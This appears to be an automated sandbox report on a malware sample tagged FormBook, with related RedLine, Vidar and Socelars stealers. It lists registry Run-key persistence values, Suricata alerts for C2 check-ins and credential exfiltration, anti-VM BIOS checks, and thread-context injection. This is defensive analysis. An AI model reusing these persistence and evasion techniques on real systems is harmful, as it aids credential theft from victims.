formbook | 62be0ca52ea9ebc4c577d597b919f6b90cebdcc2179d7d482a04bf5731eec720

Change Default File Association

T1042

Processes:

OneDriveSetup.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3252	3884	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5936	3884	rundll32.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

Processes:

resource	yara_rule
behavioral5/memory/4972-315-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral5/memory/4972-316-0x0000000000418D3E-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03d477f1a31.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03d477f1a31.exe	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

Processes:

WerFault.exeWerFault.exe

description pid process target process

PID 5840 created 1984 5840 WerFault.exe Sun033e271e0ce96c08.exe
PID 612 created 2332 612 WerFault.exe setup.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 5840 created 1984	5840	WerFault.exe	Sun033e271e0ce96c08.exe
PID 612 created 2332	612	WerFault.exe	setup.exe

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral5/memory/1836-419-0x0000000004810000-0x00000000048E6000-memory.dmp	family_vidar
behavioral5/memory/1836-450-0x0000000000400000-0x0000000002BB8000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\libcurlpp.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS8A101816\libcurlpp.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS8A101816\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS8A101816\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS8A101816\libstdc++-6.dll	aspack_v212_v242

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

wlanext.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\_Z5DJXAXI = "C:\\Program Files (x86)\\Hsnulor\\updateppq.exe"	wlanext.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wlanext.exe

Blocklisted process makes network request 26 IoCs

Processes:

cmd.exemshta.exe

flow	pid	process
78	1384	cmd.exe
79	1384	cmd.exe
81	1384	cmd.exe
82	1384	cmd.exe
87	1384	cmd.exe
89	1384	cmd.exe
103	1384	cmd.exe
108	1384	cmd.exe
109	1384	cmd.exe
118	1384	cmd.exe
126	1384	cmd.exe
161	1384	cmd.exe
164	1384	cmd.exe
170	1384	cmd.exe
172	1384	cmd.exe
180	1384	cmd.exe
182	1384	cmd.exe
189	1384	cmd.exe
191	1384	cmd.exe
192	1384	cmd.exe
318	1384	cmd.exe
319	6480	mshta.exe
328	1384	cmd.exe
367	1384	cmd.exe
368	1384	cmd.exe
370	1384	cmd.exe

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeSun0324aba28588c0.exeSun03ea09aa5c9686e5.exeSun03f0dc4460bc9.exeSun03e4aeb7e43a1c.exeSun038aa349e3318e.exeSun033e271e0ce96c08.exeSun039750b00c.exeSun038db98f99bf9a.exeSun03d477f1a31.execmd.exeSun0351a0558292.exeSun0328255c4bce6fb.exeSun03f5d51697d04.exeSun03f5d51697d04.tmpSun0397381f1f458e.exeSun03f5d51697d04.exeSun03f5d51697d04.tmpLzmwAqmV.exeChrome5.exeDownFlSetup110.exeinst1.exeSoft1WW01.exe4.exe5.exesearch_hyperfs_206.exeSun03f0dc4460bc9.exesetup.exepostback.exechenxiulan-game.exeCalculator Installation.exe6.exe3069764135.exeLzmwAqmV.exe8767932.exe1444996.exekPBhgOaGQk.exe4787631693.exe5906233.exe7573297.exe5505137.exe681845.exeWinHoster.exeCalculator.exesetup.exeyTy3pjskcaOH3SGW7DDHaAqG.exeCalculator.exed3AMh7RrYP1XgER3nYdWgVrD.exezYHzp_ecSfHCBQQQXejKOBf6.exe1ElQX1vnC6hzc6ozl4KylRRW.exexcLVIwmxi_ZLJsepaVLcueHv.exeUzYxXqOkTtDpwSezwVXY7Exr.exeUjJmg_DELP1NaVeOyjr4XbfL.exelIJoDlCIBCCNb2IhrB3rTnjY.exeqk9UWVrVqY4tBN2oy63GGKMe.exeCMCX11vCmko9R4RXJMdgUVL4.exejw1BtrPSHkN5Ycj5GrGZrWNp.exeuecNmHuKV5CntDpX5R5cAnad.exeZDAes857uiA7Ldl_tt0f6Zy7.exeEN8kVF9nOEITndkmKROPnWJy.exePtIpbjLSQP_eHgf86mvDiq5x.exeCalculator.exedYLG3PpYw0yLWxJQRvws6jif.exe

pid	process
424	setup_installer.exe
420	setup_install.exe
4116	Sun0324aba28588c0.exe
4252	Sun03ea09aa5c9686e5.exe
4204	Sun03f0dc4460bc9.exe
1384	Sun03e4aeb7e43a1c.exe
3468	Sun038aa349e3318e.exe
1984	Sun033e271e0ce96c08.exe
4416	Sun039750b00c.exe
2004	Sun038db98f99bf9a.exe
1180	Sun03d477f1a31.exe
4104	cmd.exe
3904	Sun0351a0558292.exe
5044	Sun0328255c4bce6fb.exe
316	Sun03f5d51697d04.exe
3288	Sun03f5d51697d04.tmp
1264	Sun0397381f1f458e.exe
1332	Sun03f5d51697d04.exe
3176	Sun03f5d51697d04.tmp
1744	LzmwAqmV.exe
3500	Chrome5.exe
3128	DownFlSetup110.exe
1152	inst1.exe
1836	Soft1WW01.exe
2564	4.exe
3968	5.exe
3592	search_hyperfs_206.exe
4972	Sun03f0dc4460bc9.exe
2332	setup.exe
2176	postback.exe
2472	chenxiulan-game.exe
64	Calculator Installation.exe
68	6.exe
1448	3069764135.exe
1008	LzmwAqmV.exe
3352	8767932.exe
2064	1444996.exe
1820	kPBhgOaGQk.exe
2432	4787631693.exe
5164	5906233.exe
5604	7573297.exe
5644	5505137.exe
5736	681845.exe
6076	WinHoster.exe
5356	Calculator.exe
5956	setup.exe
4872	yTy3pjskcaOH3SGW7DDHaAqG.exe
5576	Calculator.exe
5488	d3AMh7RrYP1XgER3nYdWgVrD.exe
2440	zYHzp_ecSfHCBQQQXejKOBf6.exe
5464	1ElQX1vnC6hzc6ozl4KylRRW.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
760	UjJmg_DELP1NaVeOyjr4XbfL.exe
3044	lIJoDlCIBCCNb2IhrB3rTnjY.exe
2356	qk9UWVrVqY4tBN2oy63GGKMe.exe
2168	CMCX11vCmko9R4RXJMdgUVL4.exe
5264	jw1BtrPSHkN5Ycj5GrGZrWNp.exe
1364	uecNmHuKV5CntDpX5R5cAnad.exe
3708	ZDAes857uiA7Ldl_tt0f6Zy7.exe
1788	EN8kVF9nOEITndkmKROPnWJy.exe
5704	PtIpbjLSQP_eHgf86mvDiq5x.exe
4636	Calculator.exe
6012	dYLG3PpYw0yLWxJQRvws6jif.exe

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

1444996.exeuecNmHuKV5CntDpX5R5cAnad.exeCMCX11vCmko9R4RXJMdgUVL4.exeBnaQE7vssOIGKiIFtluJLNOT.exeCMCX11vCmko9R4RXJMdgUVL4.exeBnaQE7vssOIGKiIFtluJLNOT.exetory.exeZDAes857uiA7Ldl_tt0f6Zy7.exeEN8kVF9nOEITndkmKROPnWJy.exedYLG3PpYw0yLWxJQRvws6jif.exe5906233.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1444996.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1444996.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tory.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tory.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5906233.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5906233.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Sun038db98f99bf9a.exeSun038aa349e3318e.exeCalculator.exeCalculator.exeCalculator.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Sun038db98f99bf9a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Sun038aa349e3318e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe

Loads dropped DLL 64 IoCs

Processes:

setup_install.exeSun03f5d51697d04.tmpSun03f5d51697d04.tmpCalculator Installation.exerundll32.exeBnaQE7vssOIGKiIFtluJLNOT.exemsiexec.exerundll32.exesetup.exeCalculator.exeCalculator.exeCalculator.exehschgIT73zIyo43yY5y_5zDy.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeAcE5WunU9rbhvxIHGczo1xiA.exeCalculator.exexcLVIwmxi_ZLJsepaVLcueHv.exe

pid	process
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
3288	Sun03f5d51697d04.tmp
3176	Sun03f5d51697d04.tmp
64	Calculator Installation.exe
64	Calculator Installation.exe
2844	rundll32.exe
4628	BnaQE7vssOIGKiIFtluJLNOT.exe
64	Calculator Installation.exe
64	Calculator Installation.exe
64	Calculator Installation.exe
1796	msiexec.exe
1796	msiexec.exe
4100	rundll32.exe
4100	rundll32.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5576	Calculator.exe
5576	Calculator.exe
5576	Calculator.exe
4636	Calculator.exe
4080	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
4080	Calculator.exe
4080	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5912	Calculator.exe
5912	Calculator.exe
5912	Calculator.exe
5912	Calculator.exe
2572	Calculator.exe
2572	Calculator.exe
2572	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5956	setup.exe
64	Calculator Installation.exe
6936	Calculator.exe
6936	Calculator.exe
6936	Calculator.exe
6936	Calculator.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
2148	Calculator.exe
2148	Calculator.exe
2148	Calculator.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

OneDriveSetup.exe5505137.exesetup.exesetup.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5505137.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75"	setup.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75"	setup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 33 IoCs

evasion trojan

System Information Discovery

Processes:

kPBhgOaGQk.exeCalculator.exe1ElQX1vnC6hzc6ozl4KylRRW.exelIJoDlCIBCCNb2IhrB3rTnjY.exetory.exepostback.exeCalculator.exeSun03f5d51697d04.tmpsearch_hyperfs_206.exeLzmwAqmV.exeCMCX11vCmko9R4RXJMdgUVL4.exemshta.exe5906233.exemshta.exeBnaQE7vssOIGKiIFtluJLNOT.exe7573297.exemshta.exemshta.exeBnaQE7vssOIGKiIFtluJLNOT.exe1444996.exeuecNmHuKV5CntDpX5R5cAnad.exemshta.exemshta.exejg1_1faf.exeCalculator.exeEN8kVF9nOEITndkmKROPnWJy.exedYLG3PpYw0yLWxJQRvws6jif.exeZDAes857uiA7Ldl_tt0f6Zy7.exemshta.exeSun039750b00c.exemshta.exeCMCX11vCmko9R4RXJMdgUVL4.exeCalculator.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kPBhgOaGQk.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1ElQX1vnC6hzc6ozl4KylRRW.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lIJoDlCIBCCNb2IhrB3rTnjY.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tory.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	postback.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun03f5d51697d04.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	search_hyperfs_206.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LzmwAqmV.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5906233.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7573297.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1444996.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg1_1faf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun039750b00c.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
497	ipinfo.io
498	ipinfo.io
82	freegeoip.app
103	freegeoip.app
149	ipinfo.io
150	ipinfo.io
151	ipinfo.io
436	ipinfo.io
437	ipinfo.io
27	ip-api.com
80	freegeoip.app
87	freegeoip.app

Drops file in System32 directory 13 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{D150A421-63CD-46E4-ADDB-794A26A5C800}	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-941723256-3451054534-3089625102-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 95A137F76759A7BF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

1444996.exe5906233.exeCMCX11vCmko9R4RXJMdgUVL4.exedYLG3PpYw0yLWxJQRvws6jif.exeZDAes857uiA7Ldl_tt0f6Zy7.exeBnaQE7vssOIGKiIFtluJLNOT.exeCMCX11vCmko9R4RXJMdgUVL4.exeBnaQE7vssOIGKiIFtluJLNOT.exe

pid	process
2064	1444996.exe
5164	5906233.exe
2168	CMCX11vCmko9R4RXJMdgUVL4.exe
6012	dYLG3PpYw0yLWxJQRvws6jif.exe
3708	ZDAes857uiA7Ldl_tt0f6Zy7.exe
4628	BnaQE7vssOIGKiIFtluJLNOT.exe
6472	CMCX11vCmko9R4RXJMdgUVL4.exe
6636	BnaQE7vssOIGKiIFtluJLNOT.exe

Suspicious use of SetThreadContext 12 IoCs

Processes:

Sun03f0dc4460bc9.exesvchost.exeUzYxXqOkTtDpwSezwVXY7Exr.exeEN8kVF9nOEITndkmKROPnWJy.exeuecNmHuKV5CntDpX5R5cAnad.exeNvh_1uHJ5edoJRrt0aUqMKjC.exeUjJmg_DELP1NaVeOyjr4XbfL.exejw1BtrPSHkN5Ycj5GrGZrWNp.exezYHzp_ecSfHCBQQQXejKOBf6.exewlanext.execonhost.exe

description	pid	process	target process
PID 4204 set thread context of 4972	4204	Sun03f0dc4460bc9.exe	Sun03f0dc4460bc9.exe
PID 5060 set thread context of 3376	5060	svchost.exe	svchost.exe
PID 2252 set thread context of 2604	2252	UzYxXqOkTtDpwSezwVXY7Exr.exe	Explorer.EXE
PID 1788 set thread context of 5740	1788	EN8kVF9nOEITndkmKROPnWJy.exe	AppLaunch.exe
PID 1364 set thread context of 5428	1364	uecNmHuKV5CntDpX5R5cAnad.exe	AppLaunch.exe
PID 2524 set thread context of 5344	2524	Nvh_1uHJ5edoJRrt0aUqMKjC.exe	Nvh_1uHJ5edoJRrt0aUqMKjC.exe
PID 760 set thread context of 3344	760	UjJmg_DELP1NaVeOyjr4XbfL.exe	UjJmg_DELP1NaVeOyjr4XbfL.exe
